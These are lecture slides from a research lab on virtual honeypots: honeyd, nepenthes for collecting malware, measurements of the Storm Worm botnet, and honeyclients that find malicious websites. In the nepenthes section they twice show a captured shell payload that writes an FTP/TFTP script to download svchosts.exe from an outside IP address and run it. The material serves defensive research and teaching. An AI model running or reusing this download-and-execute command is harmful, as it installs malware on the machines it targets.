Virtual Honeypots

Know Your Enemy

Pi1 - Laboratory for Dependable Distributed Systems
Outline

• Honeypot 101
• Examples
  • honeyd
  • nepenthes
  • Honeyclients
• Conclusion
• Network-based measurements often show us only the results of attacks
• Scanning activity caused by worms
• Spam sent via botnets
• How to learn more about the attackers?
• “A honeypot is an information system resource whose value lies in unauthorized or illicit use of that resource.”

Know Your Enemy
<table>
<thead>
<tr>
<th>High-interaction</th>
<th>Low-interaction</th>
</tr>
</thead>
<tbody>
<tr>
<td>Real services, OS’s, or applications</td>
<td>Emulation of TCP/IP stack, vulnerabilities, ...</td>
</tr>
<tr>
<td>Higher risk</td>
<td>Lower risk</td>
</tr>
<tr>
<td>Hard to deploy / maintain</td>
<td>Easy to deploy / maintain</td>
</tr>
<tr>
<td>Capture extensive amount of information</td>
<td>Capture quantitative information about attacks</td>
</tr>
<tr>
<td>Example: Gen III honeynets</td>
<td>Examples: honeyd, nepenthes, labrea, ...</td>
</tr>
</tbody>
</table>
• Low-interaction honeypot written by Niels Provos

• Available at http://honeyd.org

• Virtualization of TCP/IP stack
  • Fool tools like nmap & xprobe

• Complex setups possible
  • Latency, packets loss, bandwidth, ...

• Can emulate complex network setups
honeyd

libnet

libpcap

Personality engine

Userland IP-Stack

ICMP

UDP

TCP

Service

External Program

proxy

honeyd
Malware Collection

• Hundreds of new malware samples each month
• How to learn more about malware?
  • Quantitative information
  • Qualitative information
  • Information about new malware
• Usage of honeypot-based techniques
  • Use deception & emulation
nepenthes

- Tool to automatically “collect” malware like bots and other autonomous spreading malware
- Emulate known vulnerabilities and download malware trying to exploit these vulnerabilities
- Available at http://nepenthes.mwcollect.org
Vulnerability modules

- Emulate vulnerable services
- Play with exploits until they send us their payload (finite state machine)
- Currently more than 20 available vulnerability modules
- More in development
- Analysis of known vulnerabilities & exploits necessary
- Automation possible?
Shellcode modules

- Automatically extract URL used by malware to transfer itself to compromised machine

- `sch_generic_xor`
  - Generic XOR decoder

- `sch_generic_createprocess`

- `sch_generic_url`

- `sch_generic_cmd`
Payload received after successful emulation:
cmd /c
echo open 84.178.54.239 >> ii &
echo user a a a >> ii &
echo binary >> ii &
echo get svchosts.exe >> ii &
echo bye >> ii &

tftp -n -v -s:ii &
del ii &
svchosts.exe
Payload received after successful emulation

```plaintext
[hexdump(0x1bf7bb68 , 0x000010c3) ]

cmd /c
   echo open 84.178.54.239   >> ii &
   echo user a a a            >> ii &
   echo binary                >> ii &
   echo get svchosts.exe      >> ii &
   echo bye                   >> ii &

   ftp -n -v -s:ii            &
   del ii                    &
   svchosts.exe

ftp://a:a@84.178.54.239/svchosts.exe
```
Download modules

- `download-{http,tftp}`
  - Handles HTTP / TFTP URIs
- `download-ftp`
  - FTP client from Windows is not RFC compliant...
- `download-{csend,creceive}`
- `download-link`
  - `link://10.0.0.1/HJ4G=`
Submission modules

- **submit-file**
  - Write file to hard disk
- **submit-\{mysql,postgres,mssql\}**
  - Store file in database
- **submit-norman**
  - Submit file to sandboxes for analysis
- **submit-http**
  - Send file via HTTP POST
Eight weeks (December’06/January’07) nepenthes on ~8,000 IP addresses on one physical machine:
- 13,000,000+ files downloaded
- 2,600+ unique binaries based on md5sum
- ~300 different botnets

<table>
<thead>
<tr>
<th></th>
<th>AV 1</th>
<th>AV 2</th>
<th>AV 3</th>
<th>AV 4</th>
</tr>
</thead>
<tbody>
<tr>
<td>Complete set</td>
<td>92.5</td>
<td>86.9</td>
<td>79.7</td>
<td>73.8</td>
</tr>
<tr>
<td>(2,634 samples)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

- One bot variant dominates the collection
Learning more about botnets with honeypots

1. Collect samples with honeypots
2. Automated analysis, e.g., cwsandbox.org
3. Join botnet and observe from inside

“Know Your Enemy: Tracking Botnets”

LEET’08: “Measurements and Mitigation of P2P-based Botnets: A Case Study on Storm Worm”
Spam mails sent by one infected Storm machine over several days
Download the Dancing Skeleton

Click here for a Spooky Good Time
Inside Storm

• Network-level behavior
  • First versions: Overnet (Kademlia-based DHT)
  • Obfuscation was added in October 2007
  • Called Stormnet in the following
  • Seems to change from DHT to linked list
  • Only bots present in Stormnet
Inside Storm

- Bot communication (simplified, valid for Overnet)
  - Infected machine searches for specific keys within the network
  - Botmaster knows in advance which keys are searched for ⇒ publishes commands there
Key Search
Key Search
Two different modes: NAT or public IP address

Actually Storm Worm is hybrid network with P2P component for lookup
Diurnal pattern in Stormnet size
Results

Number of bots in Stormnet, split by geo-location

- US
- IN
- TR
Honeyclients

Tracking New Attack Vectors
Malicious Websites

• More and more attacks against browsers
  • Operating systems get better and better
  • Applications become weakest link in chain
• Drive-by download to install malware
  • Malicious website sends several exploits to visitor (typically encoded, not easy to detect)
  • If one exploit is successful, malware is installed
Malicious Websites

- Social engineering is also common
  - Trick user into downloading executable
  - Often related to greeting cards or adult content
  - Examples: Storm Worm and Zlob

- Malicious results in search engines
  - Attackers place sites within Google’s search index ⇒ requests return these malicious sites

- ~1-2 % of search results are malicious
• Analyzed several billion URLs and executed an in-depth analysis of 4.5M URLs

• Found 450,000 malicious sites downloading a binary to honeypot, 700,000 additional malicious sites

Social Engineering

Software that allows video access to most coded videos.

DVDaccess is a multimedia software that allows access to Windows collection of multimedia drivers and integrates with any application using DirectShow and Microsoft Video for Windows. DVDaccess will highly increase quality of video files you play.

DVDaccess enhances your music listening experience by improving the sound quality of video files sound, MP3, internet radio, Windows Media and other music files. Renew stereo depth, add 3D surround sound, restore sound clarity, boost your audio levels, and produce deep, rich bass sounds.
## Bot traffic Statistics for generated on 2007/11/14

### Top 10 Countries

<table>
<thead>
<tr>
<th>Country</th>
<th>Rating</th>
</tr>
</thead>
<tbody>
<tr>
<td>United States</td>
<td>15332 99%</td>
</tr>
<tr>
<td>Mexico</td>
<td>29 0%</td>
</tr>
<tr>
<td>Spain</td>
<td>27 0%</td>
</tr>
<tr>
<td>Iraq</td>
<td>23 0%</td>
</tr>
<tr>
<td>Korea</td>
<td>23 0%</td>
</tr>
<tr>
<td>United Kingdom</td>
<td>15 0%</td>
</tr>
<tr>
<td>Saudi Arabia</td>
<td>12 0%</td>
</tr>
<tr>
<td>Canada</td>
<td>12 0%</td>
</tr>
<tr>
<td>Japan</td>
<td>8 0%</td>
</tr>
<tr>
<td>Germany</td>
<td>7 0%</td>
</tr>
</tbody>
</table>

### Top 10 new countries today

<table>
<thead>
<tr>
<th>Country</th>
<th>Rating</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mexico</td>
<td>7 0%</td>
</tr>
<tr>
<td>Spain</td>
<td>4 0%</td>
</tr>
<tr>
<td>Colombia</td>
<td>3 0%</td>
</tr>
<tr>
<td>Spain</td>
<td>3 0%</td>
</tr>
<tr>
<td>Korea</td>
<td>3 0%</td>
</tr>
<tr>
<td>Saudi Arabia</td>
<td>2 0%</td>
</tr>
<tr>
<td>Australia</td>
<td>2 0%</td>
</tr>
<tr>
<td>Canada</td>
<td>2 0%</td>
</tr>
<tr>
<td>Iraq</td>
<td>2 0%</td>
</tr>
</tbody>
</table>

### Top 10 Countries order by bot’s reports

<table>
<thead>
<tr>
<th>Country</th>
<th>Rating</th>
</tr>
</thead>
<tbody>
<tr>
<td>United States</td>
<td>90831 99%</td>
</tr>
<tr>
<td>Mexico</td>
<td>197 0%</td>
</tr>
<tr>
<td>Spain</td>
<td>167 0%</td>
</tr>
<tr>
<td>Korea</td>
<td>115 0%</td>
</tr>
<tr>
<td>Brazil</td>
<td>106 0%</td>
</tr>
<tr>
<td>Canada</td>
<td>103 0%</td>
</tr>
<tr>
<td>United Kingdom</td>
<td>92 0%</td>
</tr>
<tr>
<td>Thailand</td>
<td>89 0%</td>
</tr>
<tr>
<td>Honduras</td>
<td>56 0%</td>
</tr>
<tr>
<td>Iraq</td>
<td>52 0%</td>
</tr>
</tbody>
</table>

### Top 10 bot versions

<table>
<thead>
<tr>
<th>Bot version</th>
<th>Rating</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.6.14</td>
<td>15549 100%</td>
</tr>
<tr>
<td>def.</td>
<td>6 0%</td>
</tr>
</tbody>
</table>

**Total:** 2

### Sumarize

- Bot’s count: 15555
- Today new bots: 4483
- All New bots today: 2407
- Today Bot reports: 5470
Honeyclients

- Automatically search for malicious websites
- Simulate browsing behavior
- Closely observe system and detect anomalies
- HoneyMonkey (NDSS’06), Capture-HPC, HoneyC, HoneyClient, phoneyc, ...
- Can be generalized to learn more about attacks against all kinds of client applications
- User simulation needed?
Honeyclients

- Capture-HPC (https://projects.honeynet.org/capture-hpc)
- Client/Server model
- Analyze website with IE or other browser
Honeyclients

- Capture-HPC (https://projects.honeynet.org/capture-hpc)
- Client/Server model
- Analyze website with IE or other browser

```
"24.03.2008 05:27:44","visiting","http://adv.gratuito.st","iexplore","10"
"24.03.2008 05:28:35","error0:NETWORK_ERROR-2148270085",
   "http://adv.gratuito.st","iexplore","10"
"24.03.2008 05:29:35","visiting","http://adview.ppro.de","iexplore","10"
"24.03.2008 05:30:33","error0:NETWORK_ERROR-404",
   "http://adview.ppro.de","iexplore","10"
"24.03.2008 05:31:29","visiting","http://adv.imho.se","iexplore","10"
"24.03.2008 05:32:04","error0:NETWORK_ERROR-2148270085",
   "http://adv.imho.se","iexplore","10"
"24.03.2008 11:55:00","visiting","http://ai.hitbox.com","iexplore","10"
"24.03.2008 11:56:00","visited","http://ai.hitbox.com","iexplore","10"
"24.03.2008 11:57:15","visiting","http://aimphuck.com","iexplore","10"
"24.03.2008 11:58:45","visited","http://aimphuck.com","iexplore","10"
```
Honeyclients

- Capture-HPC (https://projects.honeynet.org/capture-hpc)
- Client/Server model
- Analyze website with IE or other browser

```
"file","24/3/2008 20:37:56.717",
    "C:\Programme\Internet Explorer\iexplore.exe","Write","C:syst.exe"
"file","24/3/2008 20:37:56.702",
    "System","Write","C:\WINDOWS\Temp\dnlsvc.exe"
"file","24/3/2008 20:37:57.452",
    "System","Write","C:syst.exe"
"process","24/3/2008 20:37:57.733",
    "C:\Programme\Internet Explorer\iexplore.exe","created","C:syst.exe"
```
Conclusion

- Current honeypots are good at finding known attacks / automated attacks
- We can detect worms, botnets, and other automated threats
- Finding “0-day” / targeted attacks is harder
  - Why should an attacker waste his 0-day on my honeypot?
- How to trick a clever attacker?
More information:
http://honeyblog.org